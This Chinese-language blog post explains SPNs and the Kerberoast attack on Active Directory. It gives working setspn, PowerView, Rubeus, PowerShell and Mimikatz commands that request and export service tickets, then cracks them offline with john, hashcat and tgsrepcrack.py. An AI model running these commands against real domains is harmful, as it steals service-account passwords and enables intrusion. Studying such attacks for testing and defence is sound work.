Kerberoast攻击

前言

了解Kerberoast攻击之前,要先知道SPN的相关知识,熟悉kerberos的都知道SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、MSSQL、MySQL等服务)的唯一标识符。Kerberos认证过程使用SPN将服务实例服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。

如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户。在内网中,SPN扫描通过查询向域控服务器执行服务发现。

当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给客户,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。

SPN类型

  • 一种是注册在活动目录的机器帐户(Computers)下。当一个服务的权限为 Local System 或 Network Service 时,则 SPN 注册在机器帐户(Computers)下。

  • 另一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户时,则 SPN 注册在域用户帐户(Users)下。

域环境下执行命令:setspn -q */*查看当前域内所有SPN,SPN分类如下:

以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN,默认有三个:

域控制器:CN=DC,OU=Domain Controllers,DC=laosec,DC=cn

域用户帐户:CN=krbtgt,CN=Users,DC=laosec,DC=cn

机器帐户:CN=WIN7,CN=Computers,DC=laosec,DC=cn

SPN格式

<service class>/<host>:<port> <servername> <Domain user>
服务类型/对应机器名:服务端口[默认端口可不写]
其中 <service class> 和 <host> 为必需元素


<service class>可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST,Mysql,Mssql等,例如MSSQLSvc/mssql.laosec.cn:1433
host有两种形式,FQDN和NetBIOS名,例如mssql.laosec.cn或者是mssql
如果服务运行在默认端口上,则端口号(port)可以省略

SPN相关操作

#SPN注册
#语法:setspn -S http/<computername>.<domainname> <domain-user-account>
#-S :验证不存在重复项后,添加随意 SPN。
#例如:创建一个MSSQL服务的,主机名为mssql,域名为hacker.lab 创建的用户为域用户test
setspn -S SQLServer/mssql.hacker.lab:1433/MSSQL win7admin

#查看
setspn -l win7admin
#注意:只有机器账号或域管理员账号有权限注册SPN普通域用户注册SPN会提示权限不够

#SPN查询
1 查看当前域内所有的SPN:setspn  -Q  */*
2 查看指定域hacker.lab注册的SPN:setspn -T hacker.lab -Q */*  如果指定域不存在,则默认切换到查找本域的SPN
3 查找本域内重复的SPN: setspn -X
4 删除指定SPN:setspn -D SQLServer/mssql.laosec.cn:1433/MSSQL
5 查找指定用户/主机名注册的SPN:setspn -L username/hostname


GetUserSPNs.ps1 
项目地址:https://github.com/nidem/kerberoast.git
Import-Module .\GetUserSPNs.ps1


PowerView.ps1
项目地址:https://github.com/PowerShellMafia/PowerSploit/
#PowerView 是 PowerSploit 框架中 Recon 目录下的一个 PowerShell 脚本,PowerView 相对于上面几种是根据不同用户的 objectsid 来返回,返回的信息更加详细。
Import-Module .\PowerView.ps1
Get-NetUser -SPN

Kerberoast攻击过程

  • 攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证 ,该TGT认购权证用于以后的ST服务票据请求。
  • 攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在域用户计算机帐户的servicePrincipalName 字段中注册。在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。
  • 如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证 中提取信息并填充到ST服务票据中。然后,域控制器查找哪个帐户在 ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密, 并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。
  • Kerberoast攻击是攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复域用户计算机帐户的的明文密码。

攻击手段

使用Rubeus请求

Rubeus.exe kerberoast
#直接可以获取加密的服务票证

#破解明文密码
#上篇文章写过https://www.cnblogs.com/-meditation-/articles/16583089.html
john --wordlist=1.txt hashes.txt 
hashcat -m 18200 hash.txt 1.txt --force

使用Powershell请求

#请求单个TGS
# 请求服务票据
Add-Type -AssemblyName System.IdentityModel    
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SQLServer/mssql.hacker.lab:1433/MSSQL" 
# 列出服务票据
klist   

使用 Mimikatz 请求

可以使用 Mimikatz 请求指定 SPN 的服务票据

kerberos::ask /target:SQLServer/mssql.hacker.lab:1433/MSSQL   # 请求服务票据
kerberos::list    # 列出服务票据
kerberos::purge    # 清除所有票据
kerberos::list /export #导出所有票据


导出的票据

破解票据

1-40a10000-Administrator@SQLServermssql.hacker.lab1433~MSSQL-HACKER.LAB.kirbi

项目地址:https://github.com/nidem/kerberoast

python3 tgsrepcrack.py wordlist.txt test.kirbi


破解出服务挂载对应账户的明文密码 1qaz@WSX

posted @ 2022-08-16 11:13  九天揽月丶  阅读(225)  评论(0编辑  收藏  举报